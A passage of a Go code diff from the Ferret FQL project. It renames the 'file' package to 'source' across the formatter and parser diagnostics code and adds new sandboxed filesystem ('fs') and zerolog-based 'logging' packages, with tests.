expr := mustFirst[*fql.ExpressionContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != "QUERY @q IN doc USING css" { @@ -101,7 +101,7 @@ func TestExpressionFormatter_QueryExpressionCountModifier(t *testing.T) { expr := mustFirst[*fql.ExpressionContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != "QUERY COUNT `.items` IN doc USING css" { @@ -117,7 +117,7 @@ func TestExpressionFormatter_QueryExpressionOneModifierWithMultiline(t *testing. var buf bytes.Buffer opts := DefaultOptions() opts.printWidth = 20 - e := newEngine(file.NewAnonymousSource(input), &buf, opts) + e := newEngine(source.NewAnonymous(input), &buf, opts) e.expression.formatExpression(expr) if got := buf.String(); got != "QUERY ONE `.items` IN doc USING css\n WITH {\n limit: 10,\n timeout: 5\n }" { @@ -131,7 +131,7 @@ func TestExpressionFormatter_MatchExpressionInline(t *testing.T) { expr := mustFirst[*fql.ExpressionContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != "MATCH x ( 1 => 10, _ => 0 )" { @@ -147,7 +147,7 @@ func TestExpressionFormatter_MatchExpressionGuardMultiline(t *testing.T) { var buf bytes.Buffer opts := DefaultOptions() opts.printWidth = 10 - e := newEngine(file.NewAnonymousSource(input), &buf, opts) + e := newEngine(source.NewAnonymous(input), &buf, opts) e.expression.formatExpression(expr) if got := buf.String(); got != "MATCH (\n WHEN a > 0 => a,\n WHEN a < 0 => -a,\n _ => 0,\n)" { @@ -161,7 +161,7 @@ func TestExpressionFormatter_MatchExpressionObjectPattern(t *testing.T) { expr := mustFirst[*fql.ExpressionContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.expression.formatExpression(expr) if got := buf.String(); got != `MATCH obj ( { "a": 1, b: v } => v, _ => 0 )` {
pkg/formatter/internal/list_test.go+2 −2 modified@@ -5,8 +5,8 @@ import ( "strings" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestListFormatter_TemplateLiteralNewlineForcesMultiline(t *testing.T) { @@ -17,7 +17,7 @@ func TestListFormatter_TemplateLiteralNewlineForcesMultiline(t *testing.T) { var buf bytes.Buffer opts := DefaultOptions() opts.printWidth = 200 - e := newEngine(file.NewAnonymousSource(input), &buf, opts) + e := newEngine(source.NewAnonymous(input), &buf, opts) e.list.formatArrayLiteral(array) out := buf.String()
pkg/formatter/internal/statement_test.go+2 −2 modified@@ -4,8 +4,8 @@ import ( "bytes" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestStatementFormatter_DispatchEventNameString(t *testing.T) { @@ -14,7 +14,7 @@ func TestStatementFormatter_DispatchEventNameString(t *testing.T) { eventName := mustFirst[*fql.DispatchEventNameContext](t, program) var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.statement.formatDispatchEventName(eventName) if got := buf.String(); got != "\"evt\"" {
pkg/formatter/internal/trivia_test.go+2 −2 modified@@ -5,13 +5,13 @@ import ( "strings" "testing" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestTriviaEmitter_PreservesBlockCommentIndent(t *testing.T) { input := "/*\n * a\n * b\n */" var buf bytes.Buffer - e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions()) + e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions()) e.trivia.emitTrivia(input, false, false) out := buf.String()
pkg/formatter/internal/visitor.go+2 −2 modified@@ -3,16 +3,16 @@ package internal import ( "io" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" ) type Visitor struct { *fql.BaseFqlParserVisitor engine *engine } -func NewVisitor(src *file.Source, out io.Writer, opts *Options) *Visitor { +func NewVisitor(src *source.Source, out io.Writer, opts *Options) *Visitor { return &Visitor{ BaseFqlParserVisitor: new(fql.BaseFqlParserVisitor), engine: newEngine(src, out, opts),
pkg/fs/context.go+56 −0 added@@ -0,0 +1,56 @@ +package fs + +import "context" + +type fsContextKey struct{} + +var fsCtxKey = fsContextKey{} + +// WithFileSystem adds FileSystem to context. +func WithFileSystem(ctx context.Context, registry FileSystem) context.Context { + if ctx == nil { + ctx = context.Background() + } + + return context.WithValue(ctx, fsCtxKey, registry) +} + +// FileSystemFrom gets FileSystem from context. +func FileSystemFrom(ctx context.Context) (FileSystem, error) { + if ctx == nil { + return nil, ErrNotFound + } + + val := ctx.Value(fsCtxKey) + if val == nil { + return nil, ErrNotFound + } + + fs, ok := val.(FileSystem) + + if !ok { + return nil, ErrNotFound + } + + return fs, nil +} + +// ReaderFrom gets Reader from context. +func ReaderFrom(ctx context.Context) (Reader, error) { + return FileSystemFrom(ctx) +} + +// DirectoriesFrom gets Directories from context. +func DirectoriesFrom(ctx context.Context) (Directories, error) { + return FileSystemFrom(ctx) +} + +// WriterFrom gets Writer from context. +func WriterFrom(ctx context.Context) (Writer, error) { + return FileSystemFrom(ctx) +} + +// RemoverFrom gets Remover from context. +func RemoverFrom(ctx context.Context) (Remover, error) { + return FileSystemFrom(ctx) +}
pkg/fs/context_test.go+66 −0 added@@ -0,0 +1,66 @@ +package fs + +import ( + "context" + "errors" + "testing" +) + +func TestWithFileSystemRoundTrip(t *testing.T) { + filesystem := disabledFileSystem + ctx := WithFileSystem(context.Background(), filesystem) + + resolved, err := FileSystemFrom(ctx) + if err != nil { + t.Fatalf("filesystem from context failed: %v", err) + } + + if resolved != filesystem { + t.Fatalf("expected same filesystem instance from context") + } +} + +func TestContextResolvers(t *testing.T) { + filesystem := disabledFileSystem + ctx := WithFileSystem(context.Background(), filesystem) + + if resolved, err := FileSystemFrom(ctx); err != nil { + t.Fatalf("filesystem from context failed: %v", err) + } else if resolved != filesystem { + t.Fatalf("expected same filesystem from FileSystemFrom") + } + + if resolved, err := ReaderFrom(ctx); err != nil { + t.Fatalf("reader from context failed: %v", err) + } else if resolved != filesystem { + t.Fatalf("expected same filesystem from ReaderFrom") + } + + if resolved, err := WriterFrom(ctx); err != nil { + t.Fatalf("writer from context failed: %v", err) + } else if resolved != filesystem { + t.Fatalf("expected same filesystem from WriterFrom") + } + + if resolved, err := DirectoriesFrom(ctx); err != nil { + t.Fatalf("directories from context failed: %v", err) + } else if resolved != filesystem { + t.Fatalf("expected same filesystem from DirectoriesFrom") + } + + if resolved, err := RemoverFrom(ctx); err != nil { + t.Fatalf("remover from context failed: %v", err) + } else if resolved != filesystem { + t.Fatalf("expected same filesystem from RemoverFrom") + } +} + +func TestFileSystemFromError(t *testing.T) { + if _, err := FileSystemFrom(context.Background()); !errors.Is(err, ErrNotFound) { + t.Fatalf("expected ErrNotFound for background context, got %v", err) + } + + if _, err := FileSystemFrom(nil); !errors.Is(err, ErrNotFound) { + t.Fatalf("expected ErrNotFound for nil context, got %v", err) + } +}
pkg/fs/errors.go+9 −0 added@@ -0,0 +1,9 @@ +package fs + +import "errors" + +var ( + ErrReadOnly = errors.New("filesystem is read-only") + ErrNotFound = errors.New("filesystem not found in context") + ErrRootNotConfigured = errors.New("filesystem root is not configured") +)
pkg/fs/file.go+18 −0 added@@ -0,0 +1,18 @@ +package fs + +import ( + "io" + "io/fs" +) + +type ( + ReadableFile interface { + fs.File + } + + WritableFile interface { + ReadableFile + io.Writer + io.Seeker + } +)
pkg/fs/fs_disabled.go+53 −0 added@@ -0,0 +1,53 @@ +package fs + +import ( + "io/fs" +) + +type disabledFS struct{} + +var disabledFileSystem = disabledFS{} + +func (n disabledFS) ReadFile(_ string) ([]byte, error) { + return nil, ErrRootNotConfigured +} + +func (n disabledFS) Open(_ string) (ReadableFile, error) { + return nil, ErrRootNotConfigured +} + +func (n disabledFS) OpenFile(_ string, _ int, _ fs.FileMode) (WritableFile, error) { + return nil, ErrRootNotConfigured +} + +func (n disabledFS) Stat(_ string) (fs.FileInfo, error) { + return nil, ErrRootNotConfigured +} + +func (n disabledFS) Exists(_ string) (bool, error) { + return false, ErrRootNotConfigured +} + +func (n disabledFS) Mkdir(_ string, _ fs.FileMode) error { + return ErrRootNotConfigured +} + +func (n disabledFS) MkdirAll(_ string, _ fs.FileMode) error { + return ErrRootNotConfigured +} + +func (n disabledFS) WriteFile(_ string, _ []byte, _ fs.FileMode) error { + return ErrRootNotConfigured +} + +func (n disabledFS) AppendFile(_ string, _ []byte, _ fs.FileMode) error { + return ErrRootNotConfigured +} + +func (n disabledFS) Remove(_ string) error { + return ErrRootNotConfigured +} + +func (n disabledFS) RemoveAll(_ string) error { + return ErrRootNotConfigured +}
pkg/fs/fs.go+62 −0 added@@ -0,0 +1,62 @@ +package fs + +import ( + "io/fs" + "os" +) + +type ( + Reader interface { + ReadFile(path string) ([]byte, error) + Open(path string) (ReadableFile, error) + OpenFile(path string, flag int, perm fs.FileMode) (WritableFile, error) + Stat(path string) (fs.FileInfo, error) + Exists(path string) (bool, error) + } + + Directories interface { + Mkdir(path string, perm fs.FileMode) error + MkdirAll(path string, perm fs.FileMode) error + } + + Writer interface { + WriteFile(path string, data []byte, perm fs.FileMode) error + AppendFile(path string, data []byte, perm fs.FileMode) error + } + + Remover interface { + Remove(path string) error + RemoveAll(path string) error + } + + // FileSystem is an interface that combines file reading, directory operations, file writing, and file removal capabilities. + // It provides a unified interface for accessing files and directories in a filesystem-based environment. + FileSystem interface { + Reader + Directories + Writer + Remover + } +) + +func New(setters ...Option) (FileSystem, error) { + opts := &options{ + Root: "", + ReadOnly: false, + } + + for _, opt := range setters { + opt(opts) + } + + if opts.Root == "" { + return disabledFileSystem, nil + } + + r, err := os.OpenRoot(opts.Root) + if err != nil { + return nil, err + } + + return &rootFS{root: r, readOnly: opts.ReadOnly}, nil +}
pkg/fs/fs_root.go+117 −0 added@@ -0,0 +1,117 @@ +package fs + +import ( + "io" + "io/fs" + "os" +) + +type rootFS struct { + root *os.Root + readOnly bool +} + +func (r *rootFS) Close() error { + return r.root.Close() +} + +func (r *rootFS) ReadFile(path string) ([]byte, error) { + f, err := r.root.Open(path) + if err != nil { + return nil, err + } + defer f.Close() + + return io.ReadAll(f) +} + +func (r *rootFS) Open(path string) (ReadableFile, error) { + return r.root.Open(path) +} + +func (r *rootFS) OpenFile(path string, flag int, perm fs.FileMode) (WritableFile, error) { + if r.readOnly && isWriteOpen(flag) { + return nil, ErrReadOnly + } + + return r.root.OpenFile(path, flag, perm) +} + +func (r *rootFS) Stat(path string) (fs.FileInfo, error) { + return r.root.Stat(path) +} + +func (r *rootFS) Exists(path string) (bool, error) { + _, err := r.root.Stat(path) + if err == nil { + return true, nil + } + + if os.IsNotExist(err) { + return false, nil + } + + return false, err +} + +func (r *rootFS) WriteFile(path string, data []byte, perm fs.FileMode) error { + if r.readOnly { + return ErrReadOnly + } + + f, err := r.root.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, perm) + if err != nil { + return err + } + defer f.Close() + + _, err = f.Write(data) + return err +} + +func (r *rootFS) AppendFile(path string, data []byte, perm fs.FileMode) error { + if r.readOnly { + return ErrReadOnly + } + + f, err := r.root.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, perm) + if err != nil { + return err + } + defer f.Close() + + _, err = f.Write(data) + return err +} + +func (r *rootFS) Mkdir(path string, perm fs.FileMode) error { + if r.readOnly { + return ErrReadOnly + } + + return r.root.Mkdir(path, perm) +} + +func (r *rootFS) MkdirAll(path string, perm fs.FileMode) error { + if r.readOnly { + return ErrReadOnly + } + + return r.root.MkdirAll(path, perm) +} + +func (r *rootFS) Remove(path string) error { + if r.readOnly { + return ErrReadOnly + } + + return r.root.Remove(path) +} + +func (r *rootFS) RemoveAll(path string) error { + if r.readOnly { + return ErrReadOnly + } + + return r.root.RemoveAll(path) +}
pkg/fs/helpers.go+8 −0 added@@ -0,0 +1,8 @@ +package fs + +import "os" + +func isWriteOpen(flag int) bool { + const writeMask = os.O_WRONLY | os.O_RDWR | os.O_APPEND | os.O_CREATE | os.O_TRUNC + return flag&writeMask != 0 +}
pkg/fs/options.go+22 −0 added@@ -0,0 +1,22 @@ +package fs + +type ( + Option func(*options) + + options struct { + Root string + ReadOnly bool + } +) + +func WithRoot(root string) Option { + return func(opts *options) { + opts.Root = root + } +} + +func WithReadOnly(readOnly bool) Option { + return func(opts *options) { + opts.ReadOnly = readOnly + } +}
pkg/logging/level.go+38 −0 added@@ -0,0 +1,38 @@ +package logging + +import "github.com/rs/zerolog" + +type LogLevel int8 + +const ( + DebugLevel LogLevel = iota + InfoLevel + WarnLevel + ErrorLevel + FatalLevel + PanicLevel + NoLevel + Disabled + + TraceLevel LogLevel = -1 +) + +func ParseLogLevel(input string) (LogLevel, error) { + lvl, err := zerolog.ParseLevel(input) + + if err != nil { + return NoLevel, err + } + + return LogLevel(lvl), nil +} + +func MustParseLogLevel(input string) LogLevel { + lvl, err := zerolog.ParseLevel(input) + + if err != nil { + panic(err) + } + + return LogLevel(lvl) +}
pkg/logging/logger.go+53 −0 added@@ -0,0 +1,53 @@ +package logging + +import ( + "context" + + "github.com/rs/zerolog" +) + +type Logger = zerolog.Logger + +func (l LogLevel) String() string { + return zerolog.Level(l).String() +} + +func New(opts ...Option) zerolog.Logger { + o := newOptions(opts...) + c := zerolog.New(o.writer).With().Timestamp() + + for k, v := range o.fields { + c = c.Interface(k, v) + } + + return c.Logger().Level(zerolog.Level(o.level)) +} + +func NewFrom(base Logger, opts ...Option) zerolog.Logger { + if len(opts) == 0 { + return base + } + + o := newOptions(opts...) + c := base.With() + + for k, v := range o.fields { + c = c.Interface(k, v) + } + + l := c.Logger() + + if o.hasLevel { + l = l.Level(zerolog.Level(o.level)) + } + + return l +} + +func With(ctx context.Context, opts ...Option) context.Context { + return NewFrom(From(ctx), opts...).WithContext(ctx) +} + +func From(ctx context.Context) zerolog.Logger { + return *zerolog.Ctx(ctx) +}
pkg/logging/options.go+76 −0 added@@ -0,0 +1,76 @@ +package logging + +import ( + "io" +) + +type ( + loggerOptions struct { + writer io.Writer + fields map[string]any + level LogLevel + hasLevel bool + } + + Option func(*loggerOptions) +) + +func newOptions(opts ...Option) *loggerOptions { + o := &loggerOptions{ + writer: io.Discard, + level: ErrorLevel, + } + + for _, opt := range opts { + opt(o) + } + + return o +} + +func WithWriter(writer io.Writer) Option { + return func(s *loggerOptions) { + if writer == nil { + return + } + + s.writer = writer + } +} + +func WithField(key string, value any) Option { + return func(s *loggerOptions) { + if s.fields == nil { + s.fields = make(map[string]any) + } + + s.fields[key] = value + } +} + +func WithFields(fields map[string]any) Option { + return func(s *loggerOptions) { + if len(fields) == 0 { + return + } + + if s.fields == nil { + s.fields = make(map[string]any, len(fields)) + } + + for k, v := range fields { + s.fields[k] = v + } + } +} + +func WithLevel(level LogLevel) Option { + return func(s *loggerOptions) { + if level < TraceLevel || level > Disabled { + return + } + + s.level = level + s.hasLevel = true + } +}
pkg/parser/diagnostics/error_analyzer.go+3 −3 modified@@ -2,12 +2,12 @@ package diagnostics import ( "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) -type SyntaxErrorMatcher func(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool +type SyntaxErrorMatcher func(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool -func AnalyzeSyntaxError(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func AnalyzeSyntaxError(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { matchers := []SyntaxErrorMatcher{ matchArrayOperatorErrors, matchQueryErrors,
pkg/parser/diagnostics/error_analyzer_test.go+5 −5 modified@@ -5,15 +5,15 @@ import ( . "github.com/smartystreets/goconvey/convey" - "github.com/MontFerret/ferret/v2/pkg/diagnostics" + "github.com/MontFerret/ferret/v2/pkg/source" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/diagnostics" ) func TestAnalyzeSyntaxError(t *testing.T) { Convey("AnalyzeSyntaxError", t, func() { Convey("Should return boolean for basic syntax error", func() { - src := file.NewSource("test.fql", "LET x =") + src := source.New("test.fql", "LET x =") err := &diagnostics.Diagnostic{ Kind: SyntaxError, @@ -32,7 +32,7 @@ func TestAnalyzeSyntaxError(t *testing.T) { }) Convey("Should handle different matcher types", func() { - src := file.NewSource("test.fql", "RETURN") + src := source.New("test.fql", "RETURN") // Test different types of syntax errors that should trigger different matchers testCases := []struct { @@ -79,7 +79,7 @@ func TestAnalyzeSyntaxError(t *testing.T) { }) Convey("Should return false when no matcher matches", func() { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") err := &diagnostics.Diagnostic{ Kind: SyntaxError,
pkg/parser/diagnostics/error_listener.go+4 −4 modified@@ -3,19 +3,19 @@ package diagnostics import ( "github.com/antlr4-go/antlr/v4" - "github.com/MontFerret/ferret/v2/pkg/diagnostics" + "github.com/MontFerret/ferret/v2/pkg/source" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/diagnostics" ) type ErrorListener struct { *antlr.DiagnosticErrorListener - src *file.Source + src *source.Source handler *ErrorHandler history *TokenHistory } -func NewErrorListener(src *file.Source, handler *ErrorHandler, history *TokenHistory) antlr.ErrorListener { +func NewErrorListener(src *source.Source, handler *ErrorHandler, history *TokenHistory) antlr.ErrorListener { return &ErrorListener{ DiagnosticErrorListener: antlr.NewDiagnosticErrorListener(false), src: src,
pkg/parser/diagnostics/errors.go+5 −5 modified@@ -2,7 +2,7 @@ package diagnostics import ( "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) const ( @@ -11,25 +11,25 @@ const ( SemanticError diagnostics.Kind = "SemanticError" ) -func NewError(src *file.Source, kind diagnostics.Kind, message string) *diagnostics.Diagnostic { +func NewError(src *source.Source, kind diagnostics.Kind, message string) *diagnostics.Diagnostic { return &diagnostics.Diagnostic{ Message: message, Source: src, Kind: kind, } } -func NewUnexpectedError(src *file.Source, message string) *diagnostics.Diagnostic { +func NewUnexpectedError(src *source.Source, message string) *diagnostics.Diagnostic { return NewError(src, diagnostics.UnexpectedError, message) } -func NewUnexpectedErrorWith(src *file.Source, message string, cause error) *diagnostics.Diagnostic { +func NewUnexpectedErrorWith(src *source.Source, message string, cause error) *diagnostics.Diagnostic { e := NewUnexpectedError(src, message) e.Cause = cause return e } -func NewEmptyQueryError(src *file.Source) *diagnostics.Diagnostic { +func NewEmptyQueryError(src *source.Source) *diagnostics.Diagnostic { return NewError(src, SyntaxError, "Query is empty") }
pkg/parser/diagnostics/error_test.go+4 −4 modified@@ -5,9 +5,9 @@ import ( . "github.com/smartystreets/goconvey/convey" - "github.com/MontFerret/ferret/v2/pkg/diagnostics" + "github.com/MontFerret/ferret/v2/pkg/source" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/diagnostics" ) func TestCompilationError(t *testing.T) { @@ -23,15 +23,15 @@ func TestCompilationError(t *testing.T) { }) Convey("Format() should format error with all components", func() { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") err := &diagnostics.Diagnostic{ Kind: SyntaxError, Message: "test error message", Hint: "test hint", Source: src, Spans: []diagnostics.ErrorSpan{ - diagnostics.NewMainErrorSpan(file.Span{Start: 0, End: 5}, "test label"), + diagnostics.NewMainErrorSpan(source.Span{Start: 0, End: 5}, "test label"), }, }
pkg/parser/diagnostics/handler.go+4 −4 modified@@ -5,19 +5,19 @@ import ( "github.com/antlr4-go/antlr/v4" - "github.com/MontFerret/ferret/v2/pkg/diagnostics" + "github.com/MontFerret/ferret/v2/pkg/source" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/diagnostics" ) type ErrorHandler struct { - src *file.Source + src *source.Source errors *diagnostics.Diagnostics[*diagnostics.Diagnostic] linesWithErrors map[int]bool threshold int } -func NewErrorHandler(src *file.Source, threshold int) *ErrorHandler { +func NewErrorHandler(src *source.Source, threshold int) *ErrorHandler { if threshold <= 0 { threshold = 10 }
pkg/parser/diagnostics/handler_test.go+9 −9 modified@@ -5,12 +5,12 @@ import ( "testing" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) // Simple handler tests without complex ANTLR dependencies func TestErrorHandler_BasicOperations(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") // Test NewErrorHandler with various thresholds handler1 := NewErrorHandler(src, 5) @@ -48,7 +48,7 @@ func TestErrorHandler_BasicOperations(t *testing.T) { } func TestErrorHandler_AddNilError(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") handler := NewErrorHandler(src, 10) // Adding nil error should be ignored @@ -60,15 +60,15 @@ func TestErrorHandler_AddNilError(t *testing.T) { } func TestErrorHandler_AddSingleError(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") handler := NewErrorHandler(src, 10) err := &diagnostics.Diagnostic{ Kind: SyntaxError, Message: "test error", Source: src, Spans: []diagnostics.ErrorSpan{ - diagnostics.NewMainErrorSpan(file.Span{Start: 0, End: 3}, ""), + diagnostics.NewMainErrorSpan(source.Span{Start: 0, End: 3}, ""), }, } @@ -96,7 +96,7 @@ func TestErrorHandler_AddSingleError(t *testing.T) { } func TestErrorHandler_AddMultipleErrors(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") handler := NewErrorHandler(src, 10) err1 := &diagnostics.Diagnostic{ @@ -133,7 +133,7 @@ func TestErrorHandler_AddMultipleErrors(t *testing.T) { } func TestErrorHandler_HasErrorOnLine(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1\nRETURN x") // 2 lines + src := source.New("test.fql", "LET x = 1\nRETURN x") // 2 lines handler := NewErrorHandler(src, 10) // Initially no errors on any line @@ -147,7 +147,7 @@ func TestErrorHandler_HasErrorOnLine(t *testing.T) { Message: "test error", Source: src, Spans: []diagnostics.ErrorSpan{ - diagnostics.NewMainErrorSpan(file.Span{Start: 0, End: 3}, ""), // Position 0-3 is on line 1 + diagnostics.NewMainErrorSpan(source.Span{Start: 0, End: 3}, ""), // Position 0-3 is on line 1 }, } @@ -159,7 +159,7 @@ func TestErrorHandler_HasErrorOnLine(t *testing.T) { } func TestErrorHandler_ExceedThreshold(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") + src := source.New("test.fql", "LET x = 1") handler := NewErrorHandler(src, 2) // Low threshold for testing // Add errors up to threshold
pkg/parser/diagnostics/helpers.go+11 −11 modified@@ -6,33 +6,33 @@ import ( "github.com/antlr4-go/antlr/v4" - "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/parser/fql" ) -func SpanFromRuleContext(ctx antlr.ParserRuleContext) file.Span { +func SpanFromRuleContext(ctx antlr.ParserRuleContext) source.Span { start := ctx.GetStart() stop := ctx.GetStop() if start == nil || stop == nil { - return file.Span{Start: 0, End: 0} + return source.Span{Start: 0, End: 0} } - return file.Span{Start: start.GetStart(), End: stop.GetStop() + 1} + return source.Span{Start: start.GetStart(), End: stop.GetStop() + 1} } -func SpanFromToken(tok antlr.Token) file.Span { +func SpanFromToken(tok antlr.Token) source.Span { if tok == nil { - return file.Span{Start: 0, End: 0} + return source.Span{Start: 0, End: 0} } - return file.Span{Start: tok.GetStart(), End: tok.GetStop() + 1} + return source.Span{Start: tok.GetStart(), End: tok.GetStop() + 1} } -func spanFromTokenSafe(tok antlr.Token, src *file.Source) file.Span { +func spanFromTokenSafe(tok antlr.Token, src *source.Source) source.Span { if tok == nil { - return file.Span{Start: 0, End: 1} + return source.Span{Start: 0, End: 1} } start := tok.GetStart() @@ -56,7 +56,7 @@ func spanFromTokenSafe(tok antlr.Token, src *file.Source) file.Span { start = maxLen - 1 } - return file.Span{Start: start, End: end} + return source.Span{Start: start, End: end} } func isIdentifier(node *TokenNode) bool {
pkg/parser/diagnostics/helpers_test.go+3 −3 modified@@ -3,7 +3,7 @@ package diagnostics import ( "testing" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) func TestHas(t *testing.T) { @@ -356,11 +356,11 @@ func TestIsValidString(t *testing.T) { } func TestSpanFromTokenSafe_EdgeCases(t *testing.T) { - src := file.NewSource("test.fql", "LET x = 1") // Length: 9 + src := source.New("test.fql", "LET x = 1") // Length: 9 // Test nil token result := spanFromTokenSafe(nil, src) - expected := file.Span{Start: 0, End: 1} + expected := source.Span{Start: 0, End: 1} if result != expected { t.Errorf("spanFromTokenSafe(nil, src) = %v, want %v", result, expected) }
pkg/parser/diagnostics/match_error_array_ops.go+6 −6 modified@@ -4,11 +4,11 @@ import ( "fmt" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" ) -func matchArrayOperatorErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchArrayOperatorErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if offending == nil { return false } @@ -32,7 +32,7 @@ func matchArrayOperatorErrors(src *file.Source, err *diagnostics.Diagnostic, off return false } -func matchQueryOperatorErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchQueryOperatorErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if !isMismatched(err.Message) && !isMissing(err.Message) && !isNoAlternative(err.Message) { return false } @@ -127,7 +127,7 @@ func matchQueryOperatorErrors(src *file.Source, err *diagnostics.Diagnostic, off return false } -func matchArrayInlineReturnErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchArrayInlineReturnErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if !isArrayOperatorContext(offending) { return false } @@ -164,7 +164,7 @@ func matchArrayInlineReturnErrors(src *file.Source, err *diagnostics.Diagnostic, return true } -func matchArrayQuestionQuantifierErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchArrayQuestionQuantifierErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if !isMismatched(err.Message) && !isMissing(err.Message) && !isNoAlternative(err.Message) { return false } @@ -196,7 +196,7 @@ func matchArrayQuestionQuantifierErrors(src *file.Source, err *diagnostics.Diagn return true } -func matchArrayOperatorUnclosed(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchArrayOperatorUnclosed(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if !isMismatched(err.Message) && !isMissing(err.Message) && !isNoAlternative(err.Message) { return false }
pkg/parser/diagnostics/match_error_assignment.go+4 −4 modified@@ -4,10 +4,10 @@ import ( "fmt" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) -func matchMissingAssignmentValue(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchMissingAssignmentValue(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if matchInvalidVarDiscard(src, err, offending) { return true } @@ -61,7 +61,7 @@ func matchMissingAssignmentValue(src *file.Source, err *diagnostics.Diagnostic, return false } -func matchInvalidVarDiscard(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchInvalidVarDiscard(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if offending == nil { return false } @@ -84,7 +84,7 @@ func matchInvalidVarDiscard(src *file.Source, err *diagnostics.Diagnostic, offen return true } -func matchAssignmentExpression(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchAssignmentExpression(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if offending == nil || (!isNoAlternative(err.Message) && !isMismatched(err.Message) && !isExtraneous(err.Message) && !isMissing(err.Message)) { return false }
